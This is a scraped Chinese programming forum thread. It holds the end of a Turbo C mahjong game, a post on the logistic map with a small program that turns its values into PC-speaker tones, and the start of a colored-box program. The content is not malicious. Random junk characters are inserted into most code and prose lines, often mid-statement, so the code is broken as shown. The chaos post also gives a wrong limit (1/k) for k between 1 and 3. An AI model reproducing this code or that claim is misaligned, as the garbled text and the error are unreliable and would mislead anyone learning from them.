fillRectangle(x1,y1,x1+20,y1+4,0);/ r- M6 R  Q3 N" s/ L2 J
}5 d& b7 D, Q! i2 g4 p! M
if(every==10)& e* W- m! H0 @9 x
{0 b% t" i' N, q: A0 T
x1=220;
+ I8 p5 m/ `) J: i+ D5 h# |/ ry1=165;; h. s* h2 X1 c; ?
fillRectangle(x1,y1,x1+20,y1+4,0);
$ h, R) ~+ ?% Z3 ?& {& c! p- p, y" X}
$ s% [% S  c- X" B; o  Lif(every==11)
% m: N/ `# g! m{
" q% y3 L% J/ Q( P" U. Kx1=240;
3 X8 h" ?( |8 M, g- zy1=165;$ w' }: J9 Q# R" n/ d: j$ b! A0 w
fillRectangle(x1,y1,x1+20,y1+4,0);% P( v, Q- p2 N$ }
}$ O0 ~$ o6 a" k' Y/ i0 V
if(every==12)
4 w7 a! q+ U  D- m{0 R; R2 N- h1 j# K8 R# a
x1=260;
$ f4 x% p* \: f  z% x. py1=165;8 t1 t: l' g+ f& Z0 ]4 [, `: c
fillRectangle(x1,y1,x1+20,y1+4,0);
: K) k4 J* d1 O7 o; l+ n9 b; L}% r6 K7 ^/ }9 }4 F* F* g, h+ z/ [
; u# m- z; e& E% S
zz=0;* y$ q+ A# @9 p- T3 g6 Z: Z4 P) a
every++;0 T  L  R: L$ p0 @: N" k
z=z+20;* k* V6 {. \! _. W" K2 A
}
; n  d- `. k# c! C7 t1 E- ^+ y. `showbmp(every);& T7 y  R7 H. U. T; {$ _: W
key=keyy;$ p- H$ \( n3 \
if(keyy==ENTER)
# _  C7 y1 p5 D- j( H- V  Y2 }{
/ {% S2 |3 {. A% G2 a% Nrgzn(every); /*********************/: o  S& J$ e1 S
if(sing==1) /*如果可以乓,做相应的处理*// L* u7 m0 Z$ d( ~  L% f8 _$ l, W3 _
{ ; K2 l* w; u$ K1 v5 i" d: C9 d
kkk=0;/ f) Y% J4 y+ ~/ G3 f& o! G
kkkk=0;" _2 f/ @6 i5 J9 n# u, U  J
while(kkk&lt;=computer.m)- ]4 M% ^, I8 K
{
: N, K9 Y0 ^  P, H% Kif(computer.pp[kkk].p!=1)
' g1 C) `1 i% B0 G: v{5 J1 g8 q8 K) @  \  q/ s
comp.pp[kkkk].k=computer.pp[kkk].k;
, T9 }2 y- I2 F3 B2 Rcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
% f5 I: d: m# G1 l: qcomp.pp[kkkk].number=computer.pp[kkk].number;
' y! D9 U3 K, q1 @, k: T8 D7 Nkkkk++;
+ w/ z1 C* ^7 T" V+ A}: B( J. q. g9 g: X! K0 W
else0 t9 ^* G2 ^& S& o+ C% Q
{# ^% F/ }0 b2 ~6 p+ V9 b+ t
m[computer.pp[kkk].number].data1=1;
. `! \' q) F1 _' X+ Cdwei=computer.pp[kkk].number;, F. f' l- ?. y% k2 t( r
computer.pp[kkk].p=0;& S- s  K, N, g
}
& m0 F7 [  \1 G' N3 ykkk++;
9 Z. `8 H4 z5 P5 b+ e5 z1 K- M/ x}
5 O" `" N6 \3 Y+ h; Wll=0;2 K2 a* D% _% t) ~( `- G7 S

( z' a$ Z9 h0 c. x' o. m4 nwhile(ll&lt;3)  ~% n/ T  C* b" e# A) ]0 n
{ zl=zl+20;
, M( L9 j- P! r1 d/ J0 ?bmpp(dwei); /*显示乓的牌*/
. }* C2 V" a" bll++;
- g6 a% W& G( q" I3 a& a}8 Q; y, {" l0 w# s# y9 L

% w1 Q# B% V2 O4 c$ B, J7 }zl=zl+9600-60;( ?& R" `) e/ U* }" |2 Z# R! F
kkk=0;
, T1 y: l( E0 r+ ]% mcomputer.m=computer.m-2;
5 L: A( S/ ~& q3 s5 ]; E' Rwhile(kkk&lt;=computer.m)
; N( r- i' R- I* y! b{
' u3 @# V+ V. Icomputer.pp[kkk].k=comp.pp[kkk].k;
) L* F9 B7 k: z. t/ \, A* m6 ?/ Ecomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
8 t5 g2 V5 }2 }' U! y% Zcomputer.pp[kkk].number=comp.pp[kkk].number;( w# W& }0 g2 S; _, Y; d; H
kkk++;
4 P4 ~2 }) G; Z% Q0 D, B}  f  E8 n2 |* f) d: n# `9 K# s
ll=0;
) F7 Z/ n; h* ]' o& R/ h5 Otemp=random(computer.m); /*出牌等待完善*/+ b) B1 W4 }$ w- t0 U
zyy=zyy+9280+20;8 G8 ?+ d; M) d8 Z
showcbmp(temp);
& }( O$ s8 Z. Z* R6 E. L, r1 ^zyy=zyy-9280;# l  O) g( m# _1 ]% [& \
/*****/6 w* I) `/ h& _7 Q# C  F% u& C
rgznme(temp);
' D$ g; ~" Y( Cpanduan();
/ o; z! b* P% K' ?2 z8 R' h/ Bif(me.m==0)
* F% ?, {8 X# ^( X1 {8 q1 nif(second==1 &amp;&amp; threes==0)+ s$ o" J' Q8 I9 W
printf("you win!");6 h/ H4 T% k, M$ o. p
if(me.m==3)" T* u7 B% D% d0 S& Y2 \
if(second==1 &amp;&amp; threes==1)
% D# v: k3 Z/ [) `9 w6 [" Y7 }printf("you win!");" n. r$ C0 X- _8 [' i
if(me.m==6)
" T. s) |/ u/ M* r( Y4 {& c9 Eif(second==1 &amp;&amp; threes==2)8 g" t. T" B3 [3 v6 d) Z4 I
printf("you win!");/ x9 A4 B* o* G8 s1 a/ \
if(me.m==9)/ \! M1 A6 P$ F9 p$ b: K6 ]: s& Q: I
if(second==1 &amp;&amp; threes==3)0 s9 u1 _1 _( s; {
printf("you win!");/ e, v& @4 {( j" ~/ N- U1 z
if(me.m==12)( ~( r! P, r$ C' a( F
if(second==1 &amp;&amp; threes==4)8 a" x# m, l; Q. B$ _% u3 r/ M$ @
printf("you win!");. L4 M  u  l; e( {1 H3 I
* V3 R) T6 b1 Q* ?& H3 Q! C! Z+ q+ I
kkk=0;
; l/ L# x5 L! t1 A  K1 M  ^  m8 q$ O( ukkkk=0;1 ]8 Z6 h! _9 N9 i6 d) k& K6 B6 `6 w/ v
while(kkk&lt;=computer.m)0 O8 C( u! U8 b: C  `: U. W+ \  d
{
+ r/ ?! n9 v- e! M! Cif(kkk!=temp)1 N8 M) I% C0 Y% K) u; g
{' o: V% F' W' [( `: [4 F/ @
comp.pp[kkkk].k=computer.pp[kkk].k;
( z1 d! A3 G- ~4 f& q3 E$ v7 Y; Vcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
. P* w3 i' R' C4 {8 b* ]% ?$ a7 s$ Ucomp.pp[kkkk].number=computer.pp[kkk].number;2 e4 n+ o5 j2 a
kkkk++;# o$ Q% X% G7 K, E
}
7 j. W6 A, S8 @$ p" @9 Z8 B1 jelse
$ C3 Y' g2 ?. ^0 G$ lm[computer.pp[kkk].number].data1=1;1 N' R6 x1 e# ?4 h* V3 r6 A$ ~
kkk++;
& O% q% l* C  u9 A; t}/ {& W* _" c$ g6 \/ Z
kkk=0;
) D, d) Y( `5 p  C. I: zcomputer.m=computer.m-1;3 h2 D! [3 N3 L
while(kkk&lt;=computer.m)   [/ a2 P8 p- r8 g  w- S5 h
{
* m. O4 U8 _" U1 O5 ]& j: ycomputer.pp[kkk].k=comp.pp[kkk].k;
; a& q9 b  `& E+ I8 pcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;+ c" n  k+ x% U0 z" F
computer.pp[kkk].number=comp.pp[kkk].number;1 Y7 R, K8 y- p0 D( B
kkk++;
3 r9 ~/ h: J6 k1 {. C2 J( y5 x, G# l! K}
" |- L* j; x$ C* |1 j( U8 {fillRectangle(0,0,320,30,0);* G/ u7 Q2 k5 X  Q- v8 y
n=computer.m;+ W* B0 N5 F/ ?/ q& S
ll=0;
' M* \- \! P. _  c1 W2 \; G* bzy=0;
" b3 L( i2 x0 b0 owhile(ll&lt;=n)
4 N# p" V! D0 h' D. S# m. b+ K{% `- N; z. g8 {. H
zy=zy+20;1 ~: f# K" h2 n
showybmp(ll);) [' v. z9 |. i% {/ y0 a% _: B
ll++;
" P& d% \( z( a9 m7 P}
/ F& N! S/ h6 N# Xll=0;
0 _& ~4 X8 G0 e* Z5 a1 v5 W$ X# rgetch();, K! G( S  j# n, x9 Q
sing=0;
& N7 W: h) b: Ising1=1;3 a9 o1 d5 {* j) Y7 ^& ^5 I3 [
}
( y. P; R) s: N' ^% B/ b
9 x. V3 Y  S. F# H# H; [7 lif(sing==2) /*如果可以杠的做相应处理*/
; b& O! J% j* O! `{' c0 X6 B3 F# }: W# r
kkk=0;
8 `2 K4 w' F$ k: Ikkkk=0;
+ J- l' Q9 }. T2 y0 Vwhile(kkk&lt;=computer.m)
& ^5 Q  D  `. m: `  \{
6 J  e2 s# n- a# O' C  Hif(computer.pp[kkk].g!=1)" c# W' Q+ ?( Y9 Z4 N
{# m) h% X; v: _
comp.pp[kkkk].k=computer.pp[kkk].k;8 u' i( p$ ~* z) {
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
$ ?) s7 }# N+ q# H* t# L7 t& B& \1 tcomp.pp[kkkk].number=computer.pp[kkk].number;
1 S9 E' R5 x$ Q  jkkkk++;
, w& b. x+ K+ J}# I, y$ s1 b4 S* J. A* r% m* ~' t
else
) V1 ~3 M/ O- k4 ?( i{& P: P8 T7 Z* d4 g$ N, b' i% M" u$ h
m[computer.pp[kkk].number].data1=1;; {( a" D) L4 i. |; u
dweig=computer.pp[kkk].number;
" Q# M$ t$ B  |6 ?9 }computer.pp[kkk].g=0;
  F& ^" A) K4 S}+ {" M4 a/ G% N7 P& w
kkk++;
( e  x8 m9 S7 P}* N; y8 h- K( {% e( T7 i3 [; t
ll=0;: ~# f! y; J; I' V

7 C; i& f. }# X1 Vwhile(ll&lt;=3)
8 e6 _; Y8 d- J{ zl=zl+20;
) R7 [! y' B/ N3 `" M( dbmpp(dweig); /*显示杠的牌*/
3 U7 k' a' L1 s, u1 Z% C5 i$ xll++;6 X: X  m% ]5 V- Z  [/ V
}
: y& o7 e: T( K' d$ q. \zl=zl+9600-60;' I: j- h3 Y& G4 K: r9 d7 p) |5 [
kkk=0;+ n% E; z- v# Z5 V5 p) t: L
computer.m=computer.m-3;2 ]1 m9 b& E. V" [1 S
while(kkk&lt;=computer.m)
  H2 G# M; }0 k0 r{
- k: S; j8 B2 U$ r; [6 U0 l+ c2 ^computer.pp[kkk].k=comp.pp[kkk].k;7 ]5 E7 R0 ]: c$ K4 r
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;7 Y3 x% e6 c7 J( m& _/ Q
computer.pp[kkk].number=comp.pp[kkk].number;
5 x4 q4 r) g; Q' @" Z; Ekkk++;; \8 V, v" W' }  n
}& F# K! t' B* B0 f" m# x
kk=0;  p4 u( ~: l* G; v% Q; r( z
computer.m++; /*加一个牌的容量*/
, `' a! d" i( k7 W4 C7 X, @' {while(kk!=1)
' y# F1 k+ H9 w0 P/ ^{
# X. W/ O7 R% {% D1 f. D8 q6 {temp=random(136); /*出牌*/' @+ F2 V: h5 v3 _: T6 b+ e
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
0 O' b: p: D1 J( W{
; ~2 z6 S  X. W/ V; I9 [6 e% \computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/$ r' ]6 `, j0 g9 N( G' H
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
- w( f+ m4 @& D9 Xcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/8 B; u' U8 M; o' u/ q; W' n. v4 J
m[temp].data2=2; /*判断牌是谁的,2为电脑*/1 O: G- z" ]) p
kk=1;4 N% m1 D  a+ z( R$ ~$ N1 s
}
* o" K. J. f0 o) ]4 n/ X! M}
& J% E( U2 ~) x( Qcomlipai();
; }+ W, A, R% v& Z0 ^. D2 @8 |temp=random(computer.m); /*出牌,等待完善*/
4 z9 a" k1 Z( _7 J% e/ ozyy=zyy+9280+20;+ f0 F9 Z8 G& x! J
showcbmp(temp);
) P" t  f1 s. S/ G. p* Q2 N% ]/ J: ozyy=zyy-9280;
2 K/ y: y" O' S" q4 N% F/*****/
- g" a* w! Z, g$ F/ Xrgznme(temp);
1 A2 k$ u2 l. [- d; P+ f' tpanduan();
: v4 V" [2 ?2 M6 A# |# B4 ?. c* U2 U6 ^if(me.m==0)+ @3 n. l5 g  `' s: L* ^
if(second==1 &amp;&amp; threes==0)
4 _( `5 X: i& e6 e! U$ \2 gprintf("you win!");; ]7 _9 o6 I3 h2 p1 c2 S
if(me.m==3)
# ?. Z4 m: [3 N/ _# x/ ^4 `if(second==1 &amp;&amp; threes==1)
& u% y# a( {# Y6 B4 Iprintf("you win!");% l+ k8 N  A7 c+ k# I9 l7 F
if(me.m==6)
% Y3 D4 m$ \1 `; ~0 [- }if(second==1 &amp;&amp; threes==2)* m" G5 o! R. F
printf("you win!");9 F; K1 S4 b, x8 S$ @# B3 `
if(me.m==9)# X9 \; h7 f3 U2 n% ^1 t7 m
if(second==1 &amp;&amp; threes==3)
: t: j- H0 b  M7 k% u1 Qprintf("you win!");
: ~, h2 c7 e5 `! b3 Tif(me.m==12)
; K% K% H/ _' h4 m- w% K; U* Lif(second==1 &amp;&amp; threes==4)
4 P( X$ F- ^8 x! `+ B9 K$ fprintf("you win!");2 V+ `0 S, N. P1 H
2 L/ H7 B" d: y* o. c! z! y
kkk=0;0 N* \2 M2 e0 r- u# U* v
kkkk=0;
% W  ]* G9 ]3 N) x. o9 ?; R# z4 g: O( Owhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/. `0 ]6 d% ?4 m2 [/ N1 D3 c
{
! x4 k$ {  H' b" Xif(kkk!=temp)9 M6 ]7 C' V) U; T+ K! F* h
{8 C+ ?* N6 X  `1 t; g
comp.pp[kkkk].k=computer.pp[kkk].k;9 L  J, Q/ R3 M+ i9 P# U  P; @
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
7 ?% {/ H5 o- P( U1 ]8 z6 ncomp.pp[kkkk].number=computer.pp[kkk].number;- ^6 `. w6 ~3 N/ u
kkkk++;
) h& t5 L6 q1 p$ b}: u! w9 r. |: R# a
else+ m; D  z7 G# E1 z( B
m[computer.pp[kkk].number].data1=1;$ [# H: S" b1 X& K8 V1 S" @9 a1 g% C
kkk++;1 i, r! c8 h4 i" a0 i+ d- m
}
: u4 H) n, w' \/ g% B4 a' n( _kkk=0;
+ U8 |* H/ Z$ h5 m) Hcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/, E4 w  E2 k' h( j+ x% K
while(kkk&lt;=computer.m)
3 z# R' i, j$ P' C. w; C3 q{5 ?( T+ r  z$ J: j7 b
computer.pp[kkk].k=comp.pp[kkk].k;. e7 o) v- ?+ y' e2 w5 k# u( A1 B
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;1 y1 k" \3 a  K4 D
computer.pp[kkk].number=comp.pp[kkk].number;
; k+ ^, u2 Q% R% D9 b! f. Qkkk++;! }- y/ ]4 K/ x, @8 ~
}
) g" {' N) B* A4 B$ n: tfillRectangle(0,0,320,30,0);' p. X! q! D! Q, v  k; Y
ll=0;# R( G, a, e0 ]. J5 k
zy=0;
! U3 n/ [' o! s: z" O) e1 fwhile(ll&lt;=computer.m)1 |. y7 v* l6 R! b" x; _' V
{
6 z% {: l5 P( e# Czy=zy+20;
- B+ U- Z2 T, wshowybmp(ll);, v  m+ j; Y( b0 J
ll++;
: R# Z& d/ e. k1 L6 s, p* N/ j}
. g8 n" t; J& k, Z  v# [sing=0;# j' V; Z. U, C) j
sing1=1;
- \3 s& A6 @- x}6 f, ]& h2 B% m+ a1 J4 M
if(sing==7) /*如果可以吃的,做相应处理*/- y0 ^1 `6 p8 R, q
{ nn=0;9 C4 q2 B$ h  l& X: \7 c
kkk=0;/ m- d7 F, E% i* ~# M5 V
kkkk=0;. }/ m7 j9 }$ S; {
while(kkk&lt;=computer.m)
  P" I) z$ S* F{
# P' ~% Y: S) [1 rif(computer.pp[kkk].c!=1)
5 w% w* p, {: Z4 m4 w& m{
; A# e! P- Z3 s. g* Tcomp.pp[kkkk].k=computer.pp[kkk].k;
4 H; T3 Y7 U+ h4 ncomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;8 i2 T" M! o# x# u9 X$ M4 I
comp.pp[kkkk].number=computer.pp[kkk].number;2 P" i" K/ x# O$ ?) C6 x" r/ s  R  u6 h
kkkk++;/ h' o9 A' ~: a) g& }( T
}  ]0 Z- q) l7 X& r* H6 m
else& M* @* d; l6 s; e# u; t2 T- v" ]: ]
{, Q3 \4 ~) O5 ~5 o% Z
m[computer.pp[kkk].number].data1=1;4 z6 v$ ~! J8 R; Z9 {
dw[nn++]=computer.pp[kkk].number;5 N( J! z7 C8 L  s- j; V
computer.pp[kkk].c=0;
/ Q, [0 ]$ j$ V3 \* u}
/ U% F4 o) C% Y7 p% B4 p, {- okkk++;
3 W9 k. N: @) o( H  U}9 c: e/ t4 s& {$ A+ B' p8 G1 ?
7 B& b% e) P- c( s& B
if(me.pp[every].number&lt;dw[0])
9 ?# \- a) r1 ^8 F4 _{
3 i1 _2 y& I0 p& G8 f7 Y9 jdw[2]=dw[1];7 T+ j7 p/ P4 [) E
dw[1]=dw[0];
0 y  f7 [8 y7 Q. w. b/ i. Ldw[0]=me.pp[every].number;2 }' v' \, r0 _- T3 p1 Q- z6 R
}
: J9 O: ]5 i7 wif(me.pp[every].number&gt;dw[1])# m9 ?8 x# m  y. P
{
0 g' q, q, D3 H& I2 Adw[2]=me.pp[every].number;
2 I: H7 m8 X0 o7 T}
5 S9 d! _+ g+ ]' h' aif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
6 i7 K9 \) m' ^{
+ Y8 `+ ?" U8 X7 tdw[2]=dw[1];
, [. I/ U0 b, \* ?  Wdw[1]=me.pp[every].number;, H8 {3 ^& Q$ n. l; |
}
" W, \& S' Q! _nn=0;
: _7 u- J! f5 [) s! Xwhile(nn&lt;3)
0 b- M4 I3 Y( n: w! Q' J{ zl=zl+20;: A% v* m2 B+ G2 }' z/ }  ?
bmpp(dw[nn]); /*显示吃的牌*/
5 ]) H) N# z  ~" H) b8 [nn++;
# ~) D) t" ]% {( S}/ _8 g' j7 H* H6 F7 s
zl=zl+9600-60;
: D) x9 a0 e5 f( M7 ]- U5 @kkk=0;
0 \+ k% r$ n" D% v, T6 f2 r1 bcomputer.m=computer.m-2;* E7 s' m$ k0 Y  ~- D& S8 j8 T
while(kkk&lt;=computer.m)/ z4 _: \/ n* m$ [9 x
{( r# G' p. {* ~9 W# f+ \
computer.pp[kkk].k=comp.pp[kkk].k;1 F4 c, I( V3 n# |) T
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
, V. _# ?5 `; U6 v6 tcomputer.pp[kkk].number=comp.pp[kkk].number;7 z8 s) o8 `( f7 p
kkk++;, _8 z- {( I2 c
}+ o& U/ B; {. b; D
ll=0;
( {4 T6 L' A( G7 C9 X8 w5 j! gtemp=random(computer.m); /*出牌等待完善*/
1 n! d, I" Q* h. x  \zyy=zyy+9280+20;( `+ q2 [; T0 ]) K( G) |& i7 b
showcbmp(temp);
/ O; z# W  U9 R0 zzyy=zyy-9280;
7 A$ Z0 m  f8 @2 }9 v/*****/
" o7 w: Y& e/ w/ orgznme(temp);  v! S& c  w) N$ h/ @
panduan();
- V8 x9 {  T/ Nif(me.m==0)
' f9 q4 X- O+ f! t/ \/ b4 Eif(second==1 &amp;&amp; threes==0)
2 z* E/ R6 q5 v8 Z  Q4 B3 Qprintf("you win!");
0 K  A' @; p: G/ O9 y( c/ R2 [+ s3 ^if(me.m==3)4 }+ |1 q9 i0 w0 ~# `- H) @2 v- e
if(second==1 &amp;&amp; threes==1)3 g3 I2 M) Z! Z: X! l( E/ |/ z! u
printf("you win!");5 B3 Q  l( i1 n  d, l. O
if(me.m==6)
' d; B5 E! Q$ gif(second==1 &amp;&amp; threes==2)$ z% d# M& l* M
printf("you win!");
6 ~- b% u' M# `& @- k5 Yif(me.m==9)
; q& G4 G3 n4 Z8 Z4 j# O; o; Jif(second==1 &amp;&amp; threes==3)) f2 c& L  M1 W3 `, N5 K' T
printf("you win!");
0 g- |2 X' a" [: l% w3 b( cif(me.m==12)- E$ t; U1 B0 x
if(second==1 &amp;&amp; threes==4)
$ l, N) ?4 M- S6 }1 J* n  f, Yprintf("you win!");
9 A) y) [. ?+ l" ]  j  y& S0 M- U; A' K' |" H
kkk=0;
7 G+ [+ R) w/ f" n8 B- Tkkkk=0;3 ]2 Y8 N4 n- a% b/ w: R6 J1 C2 S# z
while(kkk&lt;=computer.m)
2 \! x8 x6 x3 t+ S% }( @; w{7 ^6 M& M+ J. I1 X* N& A
if(kkk!=temp)0 l1 Q$ k: \/ E8 K3 n* i
{
: \. ]  c2 }5 d$ m- Z( L: z2 |comp.pp[kkkk].k=computer.pp[kkk].k;
8 ^5 T0 Z* R0 tcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
( P2 M4 q$ o7 ^; hcomp.pp[kkkk].number=computer.pp[kkk].number;
7 y! I$ z; c, h4 w, wkkkk++;  D/ ]* Y& Z6 T  L" ]
}1 l9 r+ [) Q* z' C7 p) f
else
0 ~, f& h6 J; D$ C# w0 ]m[computer.pp[kkk].number].data1=1;
  t, W# A% I) \7 i5 Nkkk++;' J3 J( [- L  {) j
}6 n5 W! ]% P; D7 Y/ B6 d
kkk=0;9 G- d0 G; J4 s  t) f
computer.m=computer.m-1;
6 g4 R# ~9 T: A$ S% `% V! Wwhile(kkk&lt;=computer.m) ) U/ P5 G9 H* ?" G8 i6 S! R, z
{; j/ d: z9 b# d3 [9 J, P
computer.pp[kkk].k=comp.pp[kkk].k;: M6 Y8 N* H, b/ Z$ B
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;6 `: g4 r$ ?9 |' h" h
computer.pp[kkk].number=comp.pp[kkk].number;
5 X/ m3 G! s1 Q! z9 x1 \kkk++;2 _! x; C# a# q% g2 Q" g3 O6 O
}
& \: V" c5 i* t) W7 e" o. [5 }0 ~3 OfillRectangle(0,0,320,30,0);, l9 X- D! j" e2 g$ t
n=computer.m;/ e' J& c/ r# b/ M7 M4 h
ll=0;/ ]& b# P$ c% N  Z
zy=0;" [: G. B) g; `# D6 t3 s+ g% t
while(ll&lt;=n)1 W% U2 Y3 I" x1 y% c/ U5 g6 D
{+ n6 Q4 d9 d0 j$ N* f
zy=zy+20;( q/ _  T: f+ O2 S
showybmp(ll);; H0 F6 h0 r5 D7 z# F
ll++;
# {5 d* x9 A1 F! y}
4 ]% d% }. q; F% {  I% e! Q1 p% M, F+ m4 t: J4 z  @, j
getch();
% l5 y: S/ x3 R( N9 T( X/ Fsing=0;
+ M  }; X8 K0 h! F; b! |. wsing1=1;
; f, q. ^6 K9 Y8 d" {$ W7 l3 n1 c8 E}3 ]2 a# i& t2 W( L/ I
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/% k- j( ~, U4 I+ x
{" e6 z' s+ q0 ~$ m- I
kk=0;5 A. {. F( H( l
h=me.pp[every].number;
2 x. B/ b0 M4 C' l+ _# F4 J* f. `: Zm[h].data1=1; /*此牌已经无用*/
; t" Z" {- I2 T, J9 N3 G+ h3 l4 ~if(sing1!=1)
9 b# f) [6 o# [- ~" t* A& K{2 q. u, a; u- c! V
zyy=zyy+9280+20;3 l' G7 l2 v6 [/ \, F
showbmpd(every);
) A$ x" o% ]+ q9 Z* Czyy=zyy-9280;
) b5 g( J8 P  Y! d( ^6 G5 d}, Q1 c# C9 W" S9 }& O8 N
while(kk!=1)
$ Z/ n9 o3 U* s2 v6 X! Z. B" _% M{
1 ?" M8 T8 {0 e. e. Etemp=random(136);
6 @$ T- W/ L" l- H, C0 X+ cif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
$ a; h5 E, l# c1 ]/ S* r- A: T% f{9 U  r# s; v1 k/ x9 M
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
4 _6 T/ Q9 X  Kme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/, |' M# ~9 ~! T6 O) H$ p0 t
me.pp[every].number=temp; /*第几张,用来排序*// R; O& S. e2 j3 H6 T+ u4 B
m[temp].data2=1; /*判断牌是谁的*/) H" _+ d. G3 ]/ v4 G9 W# P
kk=1;" M& k9 u& v* |' n9 X, l! v
}
. M6 W0 m. @( `/ z1 f  f3 eif(kk==0) /*判断如果又选择了,就从新再选*/
0 C, `; o- O6 Q# V, b% Pkk=0;
+ o) _' ~7 {9 ^2 s}
9 C2 w) K8 [, F) ?' x}3 z" A1 ?) E' y8 M& f+ }" r
sing=0;
- ]: R: |6 b* v# m2 x. Psing1=0;
+ {0 K4 n1 N1 }. r. a4 bmelipai();
/ k" N* _& `1 F% On=13;
* ^3 v  E  V( i% x8 |/ @( iz1=54400;
# i2 m) |' P/ O, }" i/ |* {l=0;
+ T+ L+ Q, V! d% gg=z;9 t- m! b% T9 a' L
while(l&lt;n)
$ r3 |: P+ @7 z{ z=0;
8 c. }- V) B' k6 \' \* b. uz1=z1+20;0 l9 [8 O4 T  c: D: i, r' P5 @3 ^4 J/ i2 Q
showbmp(l);
, V( [/ C) Y: P/ M9 ~l++;
2 B; `& Y! `; P2 W1 Z}2 M5 M3 V. o' ]2 F2 c* j
z1=0;
/ E) z5 \) K" r5 C/ e  H2 m1 ez=g;5 B0 O! ]0 [& c1 g% k
}: O5 h! q. l/ M; t& n8 t: D
keyy=0;
) ~( \9 H* |, l, x" k}
' q8 E+ o: \9 c" t8 L2 [- u
' S: k1 M& Y  z. [getch();
( E4 A+ _( ], E* s, mOUTVGA;
( R6 Z$ u3 S. a; h' t} # M2 x; X8 \( I$ f
</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
  f2 H2 O3 c& s</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:9 z1 w: s/ c* I4 N" h% e$ R

2 G! o9 B5 ?# z! _  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
& n# u8 m7 i3 V8 g* ~  <FONT color=#009900>#include <DOS.H>! b5 ]2 I1 ~  s  m
  #include <STDIO.H>, W3 e% m5 Y$ W
  main(){- |) O# w6 {: V# E" U' N
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/' j8 m0 K; _+ w# t  D6 Q% e
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
' l6 o# Y# |/ V$ R1 K  /*i,j用于循环记数*/' b9 x9 F/ L: O( n9 ?# g1 e
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/& x( Y% c( Z2 u
  fDis=fMax-fMin;! C2 M) G2 F( P
  for(j=1;;j++){! S. e' s- @5 O6 r+ b; ?; v7 {( o
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
: ~. X7 S' L7 Z$ a6 \% u  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
! v9 |! ?! _5 o- D( K% D  scanf("%f",&k);
+ T. @! V0 D" l- A4 u+ P  if (k==0) break;7 B/ ~; I* b/ W( x2 K9 Z; c
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/4 Q/ Y3 G- Q9 S
  x=k*x*(1-x);* w# P/ E6 ^+ y6 y+ ^+ E; i
  for (i=1;i&lt;100;i++){
# G* p- f3 U3 }6 @  x=k*x*(1-x); /*计算x的值*/% P3 Q; _0 x4 g& o9 J8 {6 Q0 x  F1 I* [
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
/ o2 C( T  y3 Y( a7 k  B  delay(1000); }
% u& E& t* W1 _* s2 G  R3 q9 C  nosound(); }}
5 s0 k7 _( R5 \4 N0 `5 G  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
2 Q4 V2 c( w) k不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>5 Q/ T: F' K) A. i9 N
<FONT color=#009900>/*
